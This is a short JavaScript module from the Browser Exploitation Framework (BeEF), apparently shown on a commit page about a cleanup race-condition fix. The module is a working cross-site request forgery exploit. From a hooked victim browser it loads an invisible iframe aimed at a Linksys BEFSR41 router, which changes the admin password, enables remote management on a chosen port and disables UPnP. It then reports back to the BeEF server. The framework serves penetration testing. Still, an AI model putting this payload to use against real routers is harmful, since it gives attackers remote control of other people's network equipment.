This prevents a race condition where duplicate iframes/imgs are created if a module is run twice simultaneously. The second iframe/img was not being removed during `cleanup()`.
22 lines
773 B
JavaScript
22 lines
773 B
JavaScript
//
|
|
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
|
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
|
// See the file 'doc/COPYING' for copying permission
|
|
//
|
|
|
|
beef.execute(function() {
|
|
var timeout = 15;
|
|
|
|
var befsr41_iframe_<%= @command_id %> = beef.dom.createInvisibleIframe();
|
|
befsr41_iframe_<%= @command_id %>.setAttribute('src', '<%= @base %>Gozila.cgi?PasswdModify=1&sysPasswd=<%= @password %>&sysPasswdConfirm=<%= @password %>&Remote_Upgrade=1&Remote_Management=1&RemotePort=<%= @port %>&UPnP_Work=0');
|
|
|
|
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
|
|
|
|
cleanup = function() {
|
|
document.body.removeChild(befsr41_iframe_<%= @command_id %>);
|
|
}
|
|
setTimeout("cleanup()", timeout*1000);
|
|
|
|
});
|
|
|